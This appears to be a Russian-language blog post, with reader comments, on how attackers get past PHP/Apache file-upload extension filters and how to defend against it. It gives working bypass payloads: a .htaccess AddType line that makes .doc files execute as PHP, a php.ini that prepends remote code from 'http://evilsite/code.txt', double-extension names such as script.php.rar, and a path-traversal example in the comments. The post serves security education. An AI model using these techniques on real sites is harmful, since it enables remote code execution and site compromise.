А как Вы загружаете файлы на сервер?

20 комментариев

«…или почему фильтрация по черному списку это плохо?»

Представим обычную загрузку файлов с помощью php. Я думаю все с этим сталкивались. Отбросим извращенные варианты, типа хранения файлов в базе, их переименовывание и прочее. Возьмем именно обычную наипростейшую форму загрузки файлов.

Обычно это форма на хтмл, затем серверная валидация по расширению загружаемого файла и последующий перенос загруженного файла из временной папки в папку загрузок. Отбросим все миллионы ошибок, которые совершают программисты в этих, казалось бы простейших, вещах, и посчитаем что этот функционал реализован грамотно и без ошибок.

Встает вопрос, а как именно фильтровать расширения файлов? Существуют два варианта:

  • По белому списку — составляем список допустимых расширений файлов, а все остальные блокируем
  • По черному списку — составляем список блокируемых расширений, а все остальные загружаем

Беда в том что для реализации фильтрации по белому списку нужно предусмотреть все возможные варианты нужных расширений которые будет загружать наш скрипт. И если для мест где необходимо загружать только картинки — все просто, то во многих других случаях прийдется составить довольно большой список легитимных расширений. Поэтому многим разработчикам кажется, что следует пойти от обратного, и запретить опасные расширения.

И если в первом случае многие уверены, что будут залиты файлы только с требуемыми расширениями (в статье я расскажу вам как можно обойти и это), то вот во втором случае не все так просто.

Эта статья о том чем плоха фильтрация по черному списку, и как этот фильтр можно обойти. А также приятным бонусом добавлю способ обхода фильтра по белому списку (и даже это возможно! о как!)


Начнем мы с проблем фильтрации по черному списку.

Куча расширений

Первая проблема состоит в том, что апачем по дефолту (хотя может и не по дефолту, но по крайней мере очень часто) обрабатывается куча файлов с различными расширениями как php скрипты. Вы по-прежнему думаете что достаточно блокировать только «.php»? А вот фигушки, вот неполный список возможных расширений:

.php .phtml .php4 .php5 .html

Да, да, в некоторых конфигурациях апача «.html» может обрабатыватся как php скрипт.

А еще мы же забыли про cgi, перл и прочие вкусняшки для хаккера. Да, обычно их запуск возможен только из папки «/cgi-bin», но кто знает, может быть именно ваш сервер сконфигурирован иначе…

И достаточно упустить хоть одно расширение, и злоумышленник, при попытке взлома, наверняка попытается залить файл с таким расширением и затем его выполнить, что скорее всего приведет к полному взлому вашего сайта.

Меняем конфиг под себя

Ну все, админ оказался параноиком и добавил в фильтр все исполняемые расширения. Но, как говорится, на каждый хитрый болт найдется своя хитрая гайка. Ведь админу даже не подумалось добавить расширение «.htaccess» (если это конечно можно назвать расширением :D) в список фильтра.

Пробуем загрузить файл с именнем «.htaccess» следующего содержания:

AddType application/x-httpd-php .doc

И теперь в папке куда был загружен этот файл, все файлы с расширением «.doc» будут интерпетироваться как php скрипты и соответственно выполнятся. Осталось загрузить php скрипт с этим расширением и он будет успешно выполнен.

Льем php.ini

Допустим админ пошел дальше, и добавил в список расширение «.ht*» или допустим проверку на не пустое имя файла (это тоже не даст загрузить файл «.htaccess»).

Не так давно я писал про интересную особенность связки php+cgi (и кстати fastcgi тоже): PHP и CGI. Обход ограничений безопасности

Напомню содержание. Если php работает в указанной выше связке, то любой файл имеющий имя php.ini в любой папке будет менять локальные значения опций конфигурации php для этой папки. То есть говоря простым языком, создав файл php.ini в какой нибудь папке, мы можем применить свои настройки php для скриптов в этой папке.

Для выполнения данной атаки мы должны иметь следующее стечение обстоятельств:

  • Php должен быть подключен через CGI
  • Папка куда загружаются файлы должен содержать хотябы один php скрипт (допустим index.php)
  • Фильтр не должен резать расширение .ini (то есть у нас должно получится загрузить файл php.ini)

В php есть такая интересная опция, которая называется auto_prepend_file:

Определяет имя файла, который будет автоматически обрабатываться перед основным файлом. Файл вызывается так, будто он был подключен при помощи функции require, так что include_path также используется.

Если в двух словах, то перед каждым выполнением любого скрипта, будет исполнятся сначала скрипт указанный в «auto_prepend_file». Догадываетесь к чему я клоню?

Интересно то, что можно указывать удаленный адрес файла на другом сервере, и это очень удобно. Льем такой файл php.ini:

; Включаем чтение удаленных файлов (это требует allow_url_include)
allow_url_fopen=1

; Включаем возможность удаленного инклуда
allow_url_include=1

; Подключаем «свой» скрипт со «злым» кодом
auto_prepend_file= «http://evilsite/code.txt»

Залили файл? Отлично! Теперь обращаемся к любому php скрипту который есть в дирректории куда заливаются все файлы (именно для этого я писал что нужен php скрипт в этой папке). При обращении к скрипту из этой папки в первую очередь будет выполнен файл указанный в auto_prepend_file.

«Двойное» расширение

«MIME-код — cправка, что ты не верблюд.»
несмешная штука из журнала ][akep

А вы знаете что каждый файл с каждым расширением имеет свой mime-тип? И когда вы скачиваете какой либо файл, то веб сервер говорит браузеру какой тип у данного файла. Этот mime-тип определяется апачем по расширению файла с помощью специальной таблицы соответствия. На основе определенного типа веб сервер может выполнять с данным файлом определенные действия, к примеру выполнить этот файл как php скрипт или perl скрипт или просто отдать его содержимое без обработки и т.д.

Кстати в разделе про .htaccess мы добавляли свой mime тип для файлов doc, тем самым вынуждая веб сервер обрабатывать данные файлы как php скрипты. Но в общем речь не об этом.

Дело в том что апач вообще «уникальный» веб сервер. Вроде бы логично проверить только расширение файла и успокоиться, верно? Но вот фиг! Если вдруг окажется что данного расширения нет среди зарегистрированного, то апач проверяет наличие точки в имени файле и выделяет второе расширение!! То есть mime тип будет определятся уже по части имени файла а не по его «классическому» расширению. И так пока не будет определен mime-тип, либо не закончатся «расширения» в имени файла.

Так как мало кто знает о такой особенности, то именно этот способ дает возможность успешно обходить фильтры, как и по белому списку (в некоторых случаях) так и по черному списку (практически всегда). Для обхода белого списка нам необходимо найти допустимое к загрузке расширение, для которого mime тип не определен, обычно это расширение — «.rar» (Вот согласитесь, вы бы никогда не подумали бы что разрешив «.rar» к загрузке вы открываете огромную брешь в безопасности?).

Берем некий скрипт, переименовываем его в «script.php.rar» и заливаем на сервер. И о чудо! Этот файл интерпретируется как php скрипт!

Заметьте эта фишка апача опасна тем что это не совсем логичное поведение веб сервера, и мало кто о ней знает. И именно она позволяет обходить большое колличество фильтров.

А как же защититься?

В идеальном случае это конечно полностью переименовывать файл (включая расширение) в некий идентификатор, а информацию о файле хранить в БД. Затем, используя дополнительный обработчик, выдывать нужный файл и его данные по его идентификатору. Но этот способ плох тем что требует использование дополнительного обработчика.

А вот способ с прямым сохранением файлов и последующей их отдачей только с помощью веб сервера, намного проще и менее ресурсоемок, хотя и более опасен. Для того чтобы сделать нормальную фильтрацию для этого способа, необходимо использовать: во-первых фильтрацию по белому списку, а во-вторых удалять/заменять все спецсимволы в имени файла (точки, слеши, нулбайты и проч).

    1. Дмитрий Амиров Автор

      Тоже как вариант) Только он, к сожалению, подходит далеко не во всех случаях

  1. бро

    Насчет двойного расширения это жесть… Не знал… Сейчас проверил и удивился сильно

  2. Роберт

    Про двойные расширения вы напугали не на шутку…
    Но очевидно это новость из учебников истории. Только что проверил на своём Apache 2.2.17 (которому кстати уже больше двух лет), на попытку открыть файл script.php.rar он ответил предложением его скачать, с пояснением Type: Unknown File type, 13 bytes
    Или наоборот это фишка самых новых версий?

    1. Дмитрий Амиров Автор

      У меня это воспроизводилось на большинстве серверов apache, как лохматых годов так и на вполне современных версиях. Это фишка модуля mod_mime:
      http://httpd.apache.org/docs/2.4/mod/mod_mime.html#multipleext
      Хотя я где то читал, что отключение данного модуля ничего не меняет. Не знаю кому верить, а проверять лень)

      1. Роберт

        У меня mod_mime включён.
        Может у нас с вами различаются его настройки?
        У вас в httpd.conf включено: MIMEMagicFile conf/magic ?

        И ещё по поводу подхвата php.ini в каждой директории, хотел поинтересоваться, может указание PHPIniDir в httpd.conf будет запрещать искать php.ini в другом месте?

        1. Дмитрий Амиров Автор

          Попробуйте задать файлу какое нибудь нестандартное расширение типа «1.php.trololo», может для расширения *.rar у вас определен обработчик.

          Если не ошибаюсь то mod_mime_magic определяет mime тип по его содержимому, т.е. MIMEMagicFile не должен влиять на проблему. Но если что, то он у меня отключен.

          А насчет подхвата php.ini я не могу вам подсказать. На локалке и на dev-сервере у меня php подключен через mod_php а не через cgi, соответственно проверить не могу.

          1. Роберт

            Я по этому и спросил про PHPIniDir потому что подумал что у вас PHPasCGI (у меня всегда был только как модуль).

            Хм… Оказывается rar действительно у меня определён в mime.types
            Я даже не подумал проверить видя на экране строку — Type: Unknown File type, 13 bytes (а оказалось что это мой виндоус не знал что такое rar). Вариант с 1.php.trololo действиетльно открылся.

            Когда закачиваеш через админку — ещё можно поменять точки на прочерки, а когда клиенту дана возможноть файлы заливают через ftp — уже ни чем не защитится…

            1. Дмитрий Амиров Автор

              Я бы полностью менял имя файла вместе с расширением, а оригинальное имя файла хранил бы в БД. От греха подальше скажем так.

              А насчет ftp — тут как ни крути, если и предоставлять возможность, то загружать файлы только на другой сервер, где отключены php, perl, cgi и прочее что можно выполнить. Ну или написать свой ftp демон)

              1. Роберт

                А в настройках Апача нельзя задать демилитаризованную зону в которой не выполняются никакие скрипты?
                Я пока придумал только один вариант: FTP закидывает файлы в папку которая недоступна из веба, а файлы достаёт специальная функция. Хотя опять же — там будет головная боль, чтобы человек каким-то чудом не отправил что-то типа:
                МойСайт/GetFile.php?x=123/../../../../passwords

                1. Дмитрий Амиров Автор

                  А в настройках Апача нельзя задать демилитаризованную зону в которой не выполняются никакие скрипты?

                  Чисто теоретически возможно. Но дело в том что человек сможет залить свой .htaccess в котором он может переопределить этот запрет.

                  Я пока придумал только один вариант: FTP закидывает файлы в папку которая недоступна из веба, а файлы достаёт специальная функция.

                  Тоже вполне разумный вариант)

                  1. Алексей

                    А что если владельцу сайта залить в папку еще один .htaccess и выставить на него права «только чтение»? Или от загрузки другого .htaccess это все равно не спасет?

                    1. Дмитрий Амиров Автор

                      Могу ошибаться, но по идее в таком случае все равно останется возможность данный .htaccess просто удалить как файл. И создать новый.

  3. Странник

    Разве нельзя в .htaccess папки для загрузок просто выключить все обработчики для всех языков?

    И ещё, у меня почему-то создаётся впечатление, что в PHP и Apache уж слишком многовато этих тонкостей, так критически влияющих на безопасность

    1. Дмитрий Амиров Автор

      Да, отключить то можно… Но, как вы сами сказали, что тонкостей слишком уж много. И помимо отключения обработчиков, нужно не дать возможность загрузить новый .htaccess или php.ini, которые могут переопределить это отключение.
      PS: кстати, не могли бы вы заполнить пожалуйста поле EMail при оставлении комментария, чтобы я каждый ваш комментарий не модерировал вручную? :) можно любой, в т.ч. фейковый

      1. Странник

        Ах вот оно как, а я думал, что у вас все комментарии проходят автомодерацию.

        1. Дмитрий Амиров Автор

          Не :) модерируются комментарии только от новых пользователей. Новый пользователь определяется по email.
          Благодарю :)

      2. Странник

        Можно, кстати, попробовать такое решение — загружать в папку, недоступную для просмотра (вне public_html директории). А для скачивания файловв написать выдающий их скрипт download.php?id=some_file_id

        1. Дмитрий Амиров Автор

          В принципе необязательно загружать файл вне public_html. Можно загружать и в public_html но переименовывать файл например в случайный md5 хеш, или текущий timestamp, сохранив при этом данные об оригинальном имени в БД, и отдавать его скриптом download.php
          Этим самым убьем двух зайцев — и безопасно, и на всякие UTF-8 и спецсимволы в имени файла пофиг.

Добавить комментарий

Прочли запись? Понравилась? Не стесняйтесь, оставьте, пожалуйста, свой комментарий. Мне очень интересно, что вы думаете об этом. Кстати в комментарии вы можете задать мне любой вопрос. Я обязательно отвечу.

Вы можете оставить коментарий анонимно, для этого можно не указывать Имя и email. Все комментарии проходят модерацию, поэтому ваш комментарий появится не сразу.